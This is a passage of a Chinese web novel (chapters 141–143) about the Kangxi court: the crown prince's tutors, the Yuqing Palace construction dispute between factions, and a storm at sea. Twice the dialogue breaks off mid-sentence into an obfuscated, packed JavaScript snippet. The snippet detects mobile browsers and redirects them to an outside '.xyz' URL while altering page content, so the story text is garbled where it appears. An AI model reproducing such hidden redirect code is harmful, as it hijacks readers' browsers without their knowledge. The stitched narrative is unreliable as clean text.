荣妃半低头,“臣妾长教训了,以后断断是不敢再说胡话。” 惠妃拉过姊妹的手,宽慰道:“老祖宗的心是开明的,妹妹日后只需谨言慎行,皇太子长大以后,还是会好好孝敬你这位养母的。” “是,多亏了姐姐识得人心。”荣妃忽然说了句含弦外之音的话,“也不知道德嫔妹妹是有心帮臣妾解围,还是故意要从李公公口中套出话来。” “本宫倒是觉得,德嫔有自己的生存之道,不会真的对妹妹你落井下石。” “就怕她的心思没有她的人纯粹。”荣妃谨慎,“至今皇上还是翻她的牌子翻的多。臣妾倒不是嫉妒她,臣妾要照顾皇太子,也确实是没得与皇上亲昵的时间,但是惠妃姐姐你不一样,皇上是应该多疼你一点的。” “妹妹可知道?要想在后宫活的自在,就千万要少去寻思皇上的雨露给了谁。德嫔承恩多,那是她的造化,日后德嫔诞下皇嗣,那也是后宫的喜事。” “姐姐可别怪臣妾多嘴问一句:姐姐从不在皇上面前粉黛邀眼、献媚邀宠,可是因为心中还装着一个比皇上更有魅力的男子?” “妹妹这话说的——”惠妃风轻云淡地一笑,“一入后宫,就注定了是皇上的女人,哪里还敢念着别人?” “姐姐入宫之前住在明府,就真的没有对容若公子动过心吗?” “伯父和伯母对本宫的言传身教,全是关于皇上的,所以本宫心里只有皇上。” “那皇上就更应该珍惜姐姐才是。” “托妹妹吉言,皇上定是会对后宫雨露均沾的。” 荣妃告辞后,惠妃并未急着回宫。 惠妃翻捋了一下袖口,露出了那只白玉镯子,这便是睹物思人了。 宫女远黛眼尖,在惠妃耳旁小声提醒:“娘娘,德嫔往花园假山方向去了。咱们是装作不知道,还是跟过去?” 惠妃明快地回应道:“咱们不必去趟浑水,荣妃才走不久,德嫔要是真的做了有违宫规之事,荣妃见到后,自会拿主意。” “那娘娘觉得——”远黛问,“荣妃会折返此处或是禀告太皇太后吗?” “这可不好说,后宫是个讲究‘清誉’和‘清白’的地方,荣妃要是因此跟德嫔闹僵,那就得不偿失。当下可是德嫔盛宠,若是德嫔从云端摔落地面,有损的就是皇上的颜面,史官也不好记载。” “娘娘,”远黛疑惑道,“德嫔应该不会……把自己的前途,赔在侍卫隆科多身上吧?” “远黛,后宫不但人多、是非也多。咱们没法看透和下定论的事,还得事靠太皇太后去辨。太皇太后的人能把荣妃的一言一行都盯上,还差在德嫔身上也多留个心眼吗?” “娘娘说的是,原来太皇太后早有安排。” “走吧,咱们回宫去。” “是。” * 隔日,玄烨到慈宁宫给孝庄请安。 跟以往不同,孝庄叫了皇孙坐下,表示有话要跟皇孙说。 “皇上,皇祖母我觉得,胤礽还是要你亲自来养育和教导的好。” “孙儿听皇阿奶的话——” 孝庄并未直说荣妃之事,而是摆出道理来道: “皇上将皇太子交给信得过的妃子抚养自然好,只是作为女人,一旦过于把养子视为己出,只会导致两种后果:第一是溺爱致使养子养尊处优、不思进取、难当大任;第二是如履薄冰致使养子谨小慎微、争气的同时反而失了心智。” “所以皇上,皇祖母的意思是:要你来对皇太子严管勤教,打小就开始教他诗书骑射。当然了,在磨练皇太子的才学和武功的同时,教他为人处事之道也不可少。” 玄烨忽然觉得: 眼下文武双全的“等闲待命”之人,不就是纳兰容若吗? 纳兰容若,这个冰清聪慧的才子,倒是可以领当胤礽的师傅的差事。 却是没有想到,孝庄已经有了主张: “皇祖母替皇孙你想过了,论师傅,徐乾学此人不成,翰林院之中唯有张英和李光地可以担起教胤礽学问的大任。” “张英是明党之人,满腹经纶,人品也好,三尺巷的佳话便是他为官正直不摆谱的证明;李光地是索党之人,学识渊博,博古通今,虽人品和性情略输张英,但教导皇太子一事上他断是不敢不上心。” 玄烨不对孝庄举荐的人做一句评价,只直接问:“皇阿奶觉得纳兰如何?” 孝庄明辨道:“皇上把启用纳兰教胤礽的心思收起来,皇上有这样的想法自然是不错,但是满朝上下和八旗亲贵不会答应,皇上就不必去碰那些大背景上的钉子了。” 玄烨不甘心道:“胤礽尚未周岁,皇阿奶做这样的安排……是否操之过急了?” “苏嬷嬷,你看看皇上。”孝庄无奈地一摇头,“倒是显得我多操心了。” 苏麻喇姑好声好气道:“皇上,二阿哥现在是还小,但是该做的预安排还是要预上,一来可以平衡明索两党之间因二阿哥而起的斗争,二来可以稳定后宫嫔妃们的人心,让她们都知道:二阿哥是皇上亲自花了心思调教的,不可多用‘母妃’的身份来对二阿哥动心机。” 玄烨略奇怪:“苏嬷嬷,你怎么不叫胤礽的名字或是身份,而是照着辈份来称呼他呢?” 苏麻喇姑略略一笑,道:“奴才只是这么叫惯了而已,是在为二阿哥积攒福气呢。” “朕倒不觉得‘皇太子‘的身份是套在胤礽身上的枷锁,只盼着他能够知晓:自身跟其他兄弟不一样,责任更重更大。朕,可是把大清的‘社稷安定’和‘未来愿景’都托付给他了呀!” “所以皇上才 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14550253|138365||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 更应该体谅太皇太后的苦心,既要自己对二阿哥言传身教,也要把给二阿哥挑师傅的事情早日定下来。” “朕,听从皇阿奶的意思。” 玄烨叫来总管大太监顾问行,吩咐顾公公亲自去向张英和李光地传达圣意。 孝庄道:“皇上能够迅速决策,皇祖母的心也算是放下来了。” 孝庄向掌事太监李福连一递眼色,李公公便晓得了太皇太后的心思。 太皇太后这是要叫他到后宫去传达: 皇太子是嫡出,太皇太后和皇上都重视皇太子的教育。 作为后宫的嫔妃,只需把皇太子当作主子去看待就好,一切“尽心教导”之事,都归太皇太后和皇上来管。 玄烨从慈宁宫出来,问梁九功:“纳兰只在家里陪伴妻妾,不知道来向朕问安了吗?” 梁九功巧嘴回话道:“回万岁爷,您万福金安,纳兰公子和纳兰一家全靠您鸿福照托着呢。” “这个白玉指环,就赏你了。”玄烨面带满意之色,又道:“朕,现在去延禧宫看惠妃。” “奴才谢万岁爷!”梁九功一脸惊诧与感恩。 “朕,今日留在延禧宫用午膳,晚上翻惠妃的牌子。” “是!奴才这就叫人先一步去给惠妃娘娘传话。” * 三日后的一个下午。索党密室。 “李大人,你领了皇上预定的差职以后,”索额图故作平静,“有什么想法没有啊?” “下官誓死效忠索大人!” 这个大前提说完,李光地才打开话匣子: “下官必定是知无不言、言无不尽地将自己的毕生所学,都对皇太子倾囊相授。下官当作自己是在辅佐未来的明君,不敢有所闪失,也不敢有所疏忽,必定是以帝师陈廷敬和南怀仁为榜样,鞠躬尽瘁,死而后已。只是皇太子还小,一切要从长计议——” 索额图仍旧波澜不惊,就跟一切都在预料之中一般,道:“此事可从长计议不得,得现在就开始一步一步地铺路。” 李光地洗耳恭听:“敢问索大人,这第一步应当做什么啊?” 索额图叫另外几人也侧身过来听:“本官打算向皇上进谏:在乾清宫的旁侧修建一座新宫殿,专门供皇太子日常学习和生活起居。” “哟,那可了不得!”兴必察大惊,“那个地儿不是紧挨着皇帝的家庙吗?” 索额图用意颇深地一笑:“这正是本官的目的:东墙外是爱新觉罗家祭祖的奉先殿,西墙外是斋宫,皇太子想不发奋图强都不成啊!” 索党之众皆佩服:“索大人高见,我等远远不及。” 这座索额图口中“意义非凡”的宫殿,便是皇太子胤礽后来所居住的:毓庆宫。 皇太子胤礽五岁入住,将来的一切读书、放松、人际、礼仪之事,皆在康熙皇帝的掌控之中。 若说康熙皇帝对自己侧臣纳兰容若抱着极强的“不可离”之心,却无法彻底让纳兰容若臣服,那么这位还不满周岁的皇太子胤礽—— 在日后,也将迎来他那比纳兰容若更甚的、苦乐参透的人生。 皇太子胤礽的童年,是事无巨细、桩桩件件都在自己的皇阿玛的“安排”和“重压”之下度过的,无自由,无乐趣,甚至是……无盼头。 * 明府。夜间。 容若按照之前的约定,去明珠房中商谈政事。 明珠父子双人榻上的方形矮桌上,摆着一盘凤梨酥和两盏清茶。 容若偶吃夜点,也多是以精致小巧的点心为主,绝不碰过了油的面点。 明珠看着温茶的小炭炉,问:“皇上这么早就给胤礽安排了将来的老师,意欲何为?” 容若淡笑道:“只怕不是皇上的本意,而是太皇太后的意思。照这么推测,后宫的嫔妃们也是各怀心思、想将皇太子作为赌注,给各自的家族做筹谋。” “皇太子再怎么说都是要人索额图做叔姥爷的,明知道没有机会,那些嫔妃们还去对皇太子的认亲认生费神做什么?” “小孩子嘛,没有长大的时候,自然是谁待他好就跟谁亲的,皇阿玛的威严哪里有养母的温情脉脉来的春风化雨?所以啊,‘打动’小孩子还是要趁早。” “难怪太皇太后要给皇上提醒。”明珠点了点头,“这师傅也是从明索两党各挑了一个,可见姜还是老的辣。” “阿玛,皇上让惠儿代领协理六宫之责,没让索额图举荐的奶妈去照料皇太子,皇后之位三年内不再册立,又何尝不是对明索两党的制衡与制权?” “惠儿不参合争夺皇太子的抚养权之事,是对的。说到底,皇太子只归太皇太后和皇上,一切表面上的赡养归属,都只是例行宫规罢了,做不得数。” “儿如今在乎袖云腹中的孩子。” “这是应当的。我们纳兰家的香火,你和揆叙、揆方都要好好延续。” “儿的孩子,儿会亲自教,不必请外头的师傅。” “亲自督导是纳兰家的子嗣,是为父之责。容若,阿玛对你也一样。” “是。”容若为明珠斟茶,“儿谢阿玛和额娘的养育之恩。” * 容若回到书房,瞧见了书桌上的蓝色宝石扇坠。 那是自己十七岁生日时,云辞格格送的贺礼【注1】,当时自己跟她一块辨真假呢。 ——也不知道云辞和禹画师如何了,航途是否一切顺利? ——汪洋路远,唯愿少风雨少高浪,多情致多安然无恙。 【注1】见第46章。 142.第142章 大船在去往西洋的途中。 航途至今为止,一切顺利。同船的各位客官,无论是经销商贸的商贾,还是渡洋留学的先锋者,皆是相处融洽。 帝师南怀仁见禹之鼎从行囊之中拿出一画轴,便一边看他展开一边问他:“禹画师,你这两条‘半手臂粗的、节节黑线’画的是什么呀?” 禹之鼎如视珍宝般道:“南大人,学生画的是甘蔗。” 南怀仁惊然,遂问:“这——你画甘蔗又是做什么啊?” 禹之鼎细细道:“此画乃是学生仿照东晋画祖顾恺之的《甘蔗图》所成,学生对长康字画的仿写和临摹本事,虽是远远不及南宋名家姜夔,但也是掏空了心血所出的。” 南怀仁方又一次辨了辨这顾恺之的《甘蔗图》,道:“禹画师,正所谓:仿作也须九分真,你可有参透长康此画的灵魂?” 禹之鼎点头。 “皇上赐学生《甘蔗图》真迹一幅,如今正被学生藏于如意馆中。学生虽是天赋和成就都万万不足于长康公子顾恺之,但有此图加持,苦尽甘来,渐入佳境,航海旅程必定能够:布帆无恙。” 见云辞从船舱中走出,禹之鼎就向她和帝师讲述起“布帆无恙”的典故来: 原来,奉职已久的顾恺之终于得了假期,便决定回老家且在途经荆州之时,去拜访前上司殷仲堪。 殷仲堪热情接待了顾恺之,建议他从走陆路改为走水路,送他有助于远航的一块布帆。顾恺之在到达破冢前夕遇见大风,船被吹到岸边,幸而人无事。 于是,顾恺之在过后写信给殷仲堪,道:“地名破冢,真破冢而出,行人安稳,布帆无恙。”【注1】 官云辞道:“禹画师,你是咱们大清最会画人物肖像的人,顾恺之是千古以来把人物画画的最传神的人,果真是有缘份的。照我看,你所仿绘的《甘蔗图》,也必将流芳后世。” 南怀仁亦道:“禹画师诚心向先贤看齐,又能将先贤之修养齐于己身,是个可成大器之才!” 禹之鼎谦虚道:“以前学生不知为何历朝历代的宫廷画家都说:渐入画境谁比拟,遥羡风流顾恺之。这会儿是想明白了,是顾恺之的人格魅力使然,有才而不高调,幽默而有风度,貌若仙君而在凡间笃行书画。当真是前无古人,后无可及者。我禹之鼎,望尘莫及啊!” 这话才刚刚到一半,禹之鼎还想再论自己跟顾恺之的差距,却忽然感受到船身摇晃的厉害,就像是触怒了水神共工一般。 禹之鼎倒是不糊涂,比起保护自己的画,当机立断选择的:是保护云辞。 有船上的小工穿梭其间喊话:“黑潮要来了,海波湍急,各位客官赶紧入舱!” 禹之鼎拉着云辞、避让着人群往船舱内走去,道:“幸好不是触礁!否则哪里破了一个洞,在海面上可没法修补啊!” 云辞道:“我看天公也是变了脸,一场大暴雨怕是免不了。这条船虽大,但也经不起风吹浪打啊,还是要自求多福的好。” 南怀仁从身上拿出了一个十字架来,一番西式仪式过后,说了句:“阿门。” 众人才踏入船舱,数位小工才把船舱的舱门和四周的窗户关上、卷帘放下,就有数声惊雷响起,随即,如冰雹般的猛雨直冲而下,夹杂在黑风之中,打的船身砰砰作响。 船身摇晃的越发厉害,船中温度随着风雨阵势骤降。 出乎意料的是:船舱之内竟然无人起哄,无人抱怨,无人怕死,各位客官都是各在其位,只在心中祈祷平安。 ——不愧是行船走马多了的客商们,大抵是什么风浪都见过的。 ——一人心定,人人心定,要的就是这般不慌不乱的氛围,天亦不欺。 禹之鼎握着云辞的手,对她一点头,叫她放心,因为身边有她。 云辞露出一个坚定的笑,表示自己会跟禹画师一同经历为难,无论旦夕祸福。 * 另一边。 索额图联合李光地等人,当着康熙皇帝的面禀告了“为皇太子预修建毓庆宫”之事。明珠听在耳中,恼在心中。 说了一番对皇太子的将来看好的话以后,索额图又道:“臣以为,皇太子的成长环境事关江山社稷,必须做好设置。毓庆宫拟选址之所在,正是臣等多方商议的结果,一切都是以大清为重、以皇太子为重,还请皇上圣断。” 康熙皇帝其实早就有过类似想法。 只是他所考虑的,不是为皇太子一人修建专属宫殿,而是为诸位阿哥修建更大规模的书房。 “朕以为,当以儒家经典来教育诸位阿哥。而胤礽,是朕的嫡子,当在此基础之上再勤练骑射与通学满蒙二语。诸位阿哥的栽培教育,应以皇太子为重,待到胤礽五岁之际,就要逐步向他传授治国安邦之道,以培养其大局观和天下心。” 明珠道:“皇上,臣以为修筑毓庆宫之事,等到皇太子成长到四岁之时再夯基不迟。动工过早,征召工匠过繁,于三藩未平、台岛未收、北面边境未定不利啊!” “明珠大人,你为贵公子修筑别墅之时,贵公子才几岁啊?”索额图冷问,“就是因为你那原本想要供着珠玉的别墅修的早、贵公子适应的晚,才导致了当下空寂荒废的状态,你就没有反省过吗?” 索额图又看向康熙皇帝,“臣以为,毓庆宫越早修建,皇太子越早入住,越有利于他从孩童向满洲男儿过渡,这正是:功在当代,利在千秋的大好事呀!” 明珠不敢多反驳什么,就怕康熙皇帝往深处去追究,牵涉出明府旗下的一系列私产来。 康熙皇帝道:“此事朕会慎重考虑,你俩不必再拿到朝堂上去说。” 索额图却是不甘心,紧咬着议题道:“皇上,重视嫡子的表现,仅仅是在他的功课上面下功夫还远远不够,需要朝臣们和嫔妃们都心里有底:谁才是继承大统之人才好。” 康熙皇帝在心里默默把毓庆宫拟假设的方位在心里过了一遍,对索党的用心明白的很。再看明珠,则是表里不一,只用沉默来表示反对。 “朕如何教子、所教之子会得到什么评价,都是朕的责任与行动,无需索额图你替朕做安排。另外明珠,动工土木之事,利与弊都是天注定了的,与工事早晚、工期长短无关,你不必拿出三座大山来压着朕。” 明珠连忙道:“臣之所言,句句忠诚。” 康熙皇帝起身,“朕会自己拿主意,你们都退下吧!” 明珠和索额图在外头相互看了对方一眼,皆是沉默而别。 天气转秋已凉,然而人心,却是可以不受时节来感知冷暖的东西。 * 明珠不爽快地回了府,把今日发生的一切都详细告知了容若。 容若道:“皇太子生于夏季,住所却动工于冬季,这即便是往玄学上面去说,也不合适。更何况索额图的意思,明摆着就是把皇太子往高处捧,间接上抬自己的叔姥爷身份,居心叵测。” “我看皇上倒有几分乐意。”明珠用茶盖刮着茶碗面上的茶汤,“皇太子这是注定了要比他的其他兄弟都获得更多皇上的爱呀!” “儿从阿玛的话听来,这毓庆宫的规模极大,都快赶上皇宫里面其它有排场和用来塑威仪的宫殿了。说句不恰当的话,万一皇太子长大后想着篡位夺权、架空皇上执掌江山,这座为他而设的宫殿也是责所难免。” “你说的不无道理。”明珠指出,“皇上在皇太子身上下的心血和赌注越多,就越容易让皇太子步步成长为一个叛逆之人。最可怕的,无非是皇太子表面上对皇上恭敬,心术却是比索额图更毒更辣。” “所以这索党提出的宫殿修筑之事,逆转的余地怕是难。”容若分析,“不可不说皇上也有私心,教子归教子,管束儿子的私生活也是皇上所想。让皇太子生活在毓庆宫里,比皇上时时到后宫的嫔妃住处去探望他的好。索党这次,无疑是踩对了圣心。” “看来皇上也是像天下父子一样,怕皇太子学坏啊!”明珠冷笑,“毓庆宫与其说是养人之所,不如说是个禁锢的牢笼。” 容若想到了小时候的自己,当年如是,何其相似? 他对明珠道:“保护和禁锢的区别,不在于自由与否。而是要看掌舵人——想从舟中人身上得到什么。岸侧人和舟上客,离舟中人远近而已。” “那本官应当如何?” “阿玛您抽空去跟户部和工部的大人们打声招呼吧!索党所不及的人情味,明党来补足,咱们可是岸侧人啊。” “你倒是说到点子上了。明党是应该站在岸边观船,左右都是在为皇上和太皇太后办事,比的就是谁看得清。” “没错阿玛,切记:要把一切看清。” 此时,觉罗氏敲门进来。 她吩咐丫鬟将汤饮放到桌子上,道:“秋来躁郁,妾身叫小厨房炖了枇杷雪梨汤,老爷和容若一并饮了吧?” 容若笑着谢过额娘,端起碗来慢饮。 明珠饮的快,道:“本官瞬间神清气爽,一来看清了前路,二来多亏夫人体贴,至幸。” * 航船之上,一阵高掀的风浪向船舱袭来。 船身半斜,不尽的海水以迅雷不及掩耳之势冲入川内,形势危急。 禹之鼎奋不顾身地把云辞揽在怀中做保护,试图用自己的身躯来为她挡风浪。 云辞本想告诉他,自己作为从小就学习过骑射的八旗格格,可不比汉人的官家小姐柔弱,却最终是选择了相信他,相信只要依赖他就能安全脱险。 南怀仁南大人依旧在向上帝祷告,他浑身已经湿透,但却神色坚毅,毫无退屈与放弃之念。 船舱内众人见南怀仁一个西洋人尚且如此镇定面对险境,各自心中的不抛弃不放弃之志都一下子被激发了出来,纷纷众志成城,手拉手形成一道“人墙”,背对船舱的迎风口,誓死与风浪斗争到底。 禹之鼎紧紧拉着云辞的手,对她道:“滂沱大雨终将去,万道金光至始来。云辞,我定要护你周全,不会让你沦陷风浪。” 云辞感受着来着禹画师的温度,禁不住问他:“此番大阵势的天气过后,你所携带的名画、自作画还有皇上赏赐的笔墨纸砚,怕是全都做了废,你可会悲伤难过?” “只要云辞你无事,我就心处安然。”禹之鼎已久不离不弃地护着她,“名画浸染失真,还有临本;自作画遇水消融,还可再画;皇上赏赐之物支 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14566452|138365||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 离破碎,还有再得之时……所以那些东西都不是最要紧的,要紧的和我真正在乎的,是云辞你啊!” 云辞双眼灼热,感极欲泣。 心许之人如此,把她放在比生命、比所爱、比所长……都更高远、更温热的位置,何尝不是此情无悔? 忽然之间,大船猛地前后一震,发出一声好似船头板裂了的巨响。 众人纷纷叫小工冒死出去查看,小工壮着胆子翻出船舱外,好一会儿才回来,盖过了雨声和风浪声,大声道: “不好了!黑风猛雨凶悍,海际茫茫不可辨;舵把湿滑难抓,航线漫漫不可认。小的寻思着……这怕是触礁了呀!” “寻思?那就是说你并未看清——”禹之鼎自告奋勇,“我这就出去再看一次!” “我跟你一起去。”他不离她,她亦相随。 境遇如此,不得撑伞。 云禹二人相互扶持着往外走。 甲板湿滑,云辞差点摔倒之际,幸有禹之鼎相扶。 前路不见,禹生险些踩空落水,幸有官云辞相拉。 来到船头的最前方,禹之鼎小心翼翼地趴在先端,先用手感知船体有无巨大裂纹,再用心去辨船体是否有入水将沉的危险。 就这么过了好一会儿,他终于侧身对云辞道:“只有变形之忧,而无断裂之患,看来真是托了东晋画祖顾恺之的福,一船人必定能够渡过难关,布帆无恙地直抵目的地。” 云辞这才稍稍放心,不顾一袖沾湿,擦着禹之鼎脸上的雨水,道:“你比那小工勇敢,你的话比那小工的话可信,舱内众人也可放心。” 禹之鼎握住了云辞的手腕,感泣道:“这是你我第一次共历风雨,好在是苍天有眼,没让你我沉入海底……成为沙中双蚌。” 云辞扬笑道:“等着你我去做和见识的风景和学问都多着呢,命运哪会残酷相待?我忽然想到了纳兰公子的名篇《雨霁赋》,此刻温忆正好。” “是啊!该往积极的方向去想,该做些好的期待。”禹之鼎抬头,“没有过不去的风雨。” 二人抱着信念,回到船舱之中。 向众人说明情况以后,禹之鼎朗声道:“明晦自在人心,人定胜天!” * 雨过天晴,风平浪静。 踏出船舱,午后长空万里,相接云涯。 禹之鼎和官云辞站在甲板之上,携手正对天际。 一场惊心动魄的风浪,难以言述,难以回想,唯有此中互不相离的真情,可在心中自问没温。 “贵人出门迎风雨。”云辞笑道,“咱俩的贵,不在贵气和贵格,只在人品皆好、有天相助。” “此船飘摇触礁而未散板断裂,船中人人平安无一伤亡,真是老天爷保佑。”禹之鼎感慨,“那些粮食啊、衣物啊、商货啊、御赐品啊……大浪卷去就让大浪卷去罢,或入海底沉寂、或飘未知之地枯朽、或成鸟喙追啄,也都是天意啊!” “禹画师,飘摇不定之时我害怕的不是生死,而是后悔自己在出发之前未给阿玛和额娘留下一封书信,怎就没想到‘有去无回’四字呢?若然,却属不孝。” “出发之际,你我都在兴头上,哪会去顾虑重重不测?”禹之鼎看开了、也顿悟了,“此番之后,积累了应对经验,人生可讴。” “京城只有引水之海,泛舟其上,唯有闲情。”云辞深深呼吸了一下咸味海风,“汪洋虽看不到尽头,却是叫人神往对岸,如此对比,我宁择后者。” 禹之鼎感受着湿润的海气,也感受着侧立在心爱女子身边的氛围气,心中无不是:感念款款,愿就此与之如海鸟,比翼双飞。 云辞心有大局,道:“跨洋写信不方便,回国以后,我一定要向皇上进言:预备出一定军费来,向海外购置战斗力和装载力都更强的军舰,否则这样的仅用木头和铜铁打造而成的大船,能够经历的住几回风浪?船上商旅贾客,能得几次化险为夷?” “是了——”禹之鼎单手抵在额头上眺望,“皇上的大志,终有一日是要对准台岛的,这一战,关键就在于航海军备和海上策略!” 云辞决意道:“因此这一程,我除了去学习西方先进的思想文化之外,还要与你和南大人一同考察西方各处的船工厂,把造船的要点和航线的把控全都熟记于心。” “能识洋文、能懂洋话、能悉洋风,云辞你真厉害,一直走在大清的前端。” “禹画师,我之所以选择做一个别具一格的女子,是因为我厌恶寻常女子千篇一律的人生。我心向远方,一为开眼界,二为挥己能,三为报国家,此生无悔。” “若是皇上在台岛之战上能与你共谋,清军必将智取而胜。” “如愿,如愿。” * 在云禹之二人和南怀仁不知道的地方,康熙皇帝站在乾清宫侧,远望着那块规划出来的预备建设皇太子住处“毓庆宫”的空地,心中已经拿定主意。 ——朕,要让这即将拔地而起的“毓庆宫”成为宫中之宫。 ——人,心中皆有迷宫。能够入局而不迷路、且为皇太子引路之人,唯有朕。 【注1】顾恺之回信原文,出自《世说新语》。 143.第143章 纳兰明珠原本以为—— 毓庆宫建设之事的拍板,再怎么着也会等到年后。 没想到康熙皇帝竟然下旨:“十月初动工,建成以后,先做放置,等皇太子满五岁再入住和另外安排人手照顾。” 这要是一切按部就班、只待年月地见证皇太子成长也就罢了,偏偏有内务府总管噶禄私下告知: “明珠大人,奴才们原本以为:毓庆宫就是一座主殿和两侧偏殿所成,没想到皇上却是规划出了密密麻麻的殿阁来,这哪是供皇太子一人消遣的?怕是十五二十位阿哥都能一并住进去,岂非大空国库开销?” 明珠惊问:“这皇上也才得了三位阿哥啊!为何要把毓庆宫铺设的如此宏伟?可是营造出皇太子的众星捧月之势?” 噶禄总管道:“奴才们也只敢领旨办事,听说户部和工部的大人们已经给皇上递折子了,但是皇上宁愿听索党之言也不肯罢休呢。明珠大人,您可不能坐视不理啊!” 明珠踱步数回,方道: “你去给太皇太后回话,就说:皇上顾及皇太子是好事,为皇太子修筑宫殿也情有可原,但是宫规有定,秩序有分,切不可喧宾夺主——让毓庆宫的恢宏气势,盖过了其它宫殿的皇权正义。皇上子嗣绵延,后续出生的小阿哥们自有阿哥所来养,实在是不宜让毓庆宫的‘中心之势’过盛!” 噶禄应道:“奴才,已经向太皇太后回过话了。” 明珠指着对方的心窝道:“那是你没把话说到点子上,照着本官教你的,再去说一次。” “是,奴才这就带了徒弟张全保一并去。” 明珠皱眉一疑:“你带张公公去做什么?” “奴才徒弟不敢不在宫中为惠妃娘娘尽力,奴才思忖着有些事情还是得让徒弟告知惠妃娘娘才好。毕竟,太皇太后才是后宫真正的主子和皇太子唯一的太祖母,她的懿意句句值得惠妃娘娘揣摩。所以奴才才想安排徒弟一并来走这份差事。” “原是如此。”明珠把一袋碎银放在噶禄总管掌心,“好好办事,本官不会亏待你们师徒。” * 时日经过,明珠一家子坐在渌水亭中赏秋荷、吃秋膳。 其中的金栗糕和鲜橙片拌奶酪,都是容若爱吃的。 容若曾写诗曰: 金桂香时秋栗黄,雁去枫叶待赏醉。 寒星无数天屏缀,且试橙酪瑶池味。 “噶禄总管跑了两趟慈宁宫去见太皇太后,结果却告知本官:太皇太后对皇上大动工事修筑毓庆宫一事,不做干涉。这不得不说,祖孙二人把皇太子放在寄予厚望的位置上啊!” 容若道:“要想令皇上让步收敛工事,几近不能。但是为臣者要尽本分,明日儿跟阿玛您一同去见皇上。” 明珠惊问:“明知不能而为之,容若你就不怕惹的龙颜大怒,获罪挨罚吗?” 容若淡定:“阿玛您说,问心无愧和有话不提的区别在哪儿?保命与否吗?不是。儿常在君侧,生死本就难料,无须过多忧患生死。儿之所以要在这项工程上对皇上进谏,只想保全皇上的颜面和身后评价而已。” 明珠道:“可是你往后看,皇上要是拿出这条理儿来:‘朕的子嗣将会越来越多,以毓庆宫为中心,多造殿阁有何不妥?’你要怎么答?” 容若看着桌面上那枝插在透明的琉璃瓶中的荷花,道:“儿会说妥,但先将毓庆宫的主体部分建成,其余部分后续再根据实际来扩展不迟。” 明珠一摆手,“本宫说当下有三大局势大难,可是被皇上冷言相对了,你那些实际的话,就不必步本官的后尘了。” “儿会随机应变,请阿玛放心。” * 见父子之间的话题将休,觉罗氏才叫丫鬟们把糕点的碗碟一一撤去,预备着提起家事来。 “等等——” “觉罗夫人还有事吩咐?” 仔细交待完丫鬟们给颜氏侧夫人送些酸口感的山楂卷和金柚果肉以后,觉罗氏重新坐回了纳兰父子对面。 “妾身见袖云的胃口不错,身子调养的也好,预计着春后便能生产。所这秋冬两季的家务事,还是继续让尔谖去打理的好。” 明珠问:“夫人的意思是,这些日子以来,尔谖的家当不错?” 觉罗氏浅笑,道:“家主自然是老爷您,当家自然是妾身。妾身的意思是,尔谖跟袖云姐妹情深,都是一心一意为了容若好,这点难能可贵。换作别的不懂事的女子,容不下侧室的,岂非矛盾重重、家无宁日?” “夫人多虑了。”明珠声线平稳,“纳兰家有纳兰家的规矩,家风一向是天下的表率,凭谁当了容若的正妻,也不敢容不下本官亲自为容若挑选的侧室颜氏。” 觉罗氏把自己的感受向纳兰父子说出: “尔谖举止大方,迎接宾客表现得当,恰是有明府下一任女主人的潜质;她对事对人也是进退有度,在赏罚分明的基础上,能够酌以一颗顾着明府利益的是非心;她还细心留意着老爷您、妾身和容若的挑剔与喜好,在潜移默化之中为家人尽心。” “妾身是觉得尔谖难得,作为一个女子,求的无非是夫君的爱和家的安稳,纳兰家的枯荣是被康熙皇帝的喜怒直系着的,她愿意荣辱与共。” “还有就是,容若殿试结果失意的这段时间里,心头积郁难免是有的,你我父母也不是全都能宽解他就宽解的上的,多亏是有尔谖陪着。想必尔谖对容若的心事和心情,是最细致入微的了。” “再怎么说尔谖都是出身汉军旗,能嫁入纳兰家全凭老祖宗恩典。她能日渐用温情和行动来打动容若,容若与她之间的夫妻情份能够随着年月渐渐加深,就已经是纳兰家的福气了。” 明珠一摇头,补充道:“要是指望尔谖的贤惠跟容若的才气齐名,也不甚现实。倒是袖云,无怨无悔地在容若身后付出,理应多得良妻之名。” 容若和气道:“称呼上是分了正妻与侧室,但儿都把卢氏和颜氏视作自己生命中重要的女子,不会偏宠于谁,也不会冷落于谁。” “是啊老爷。”觉罗氏给明珠递了茶,“您对袖云了解的多、知道的深,是因为袖云进家门进的早、在容若身边陪伴的久;尔谖嫁过来一年半,她的好和她的优点,您也应该逐步看到才是。” “那本官就希望是如夫人所说,卢氏是个于容若于纳兰家都好的女子。” “阿玛。”容若微笑着圆场道,“女人是最了解女人的,您要相信额娘的话。” “本官何时不信夫人?”明珠一本正经,“本官这一生就只娶英亲王阿济格之女为妻,从未有过纳妾的想法。本官自以为:明珠的夫人觉罗氏,在内能够管好上下,在外能够打点人际,乃是大清众官僚元配当中的最好。” 觉罗氏欣慰一笑:“有此夫君、有此儿子,便是我今生最大的满足。” * 夜里。卧室的小桌边。 容若命人给卢氏送来了两枚刚刚烤制好的鲜花饼。 “我有时爱吃酥皮胜过内陷,所以干脆吃无馅的素饼。”容若把其中一枚玫瑰花饼放入爱妻盘中,“这个是家里的厨子新学的手艺,说是还原了云南的味道,你尝尝。” 见爱妻吃的津津有味,容若又道:“一切花朵都能糖制成馅儿,唯独是水仙花不能。吃玫瑰花对女子有好处,你要是觉得好吃,就——” “就要亲口说给公子听。”卢氏笑着往下接话。 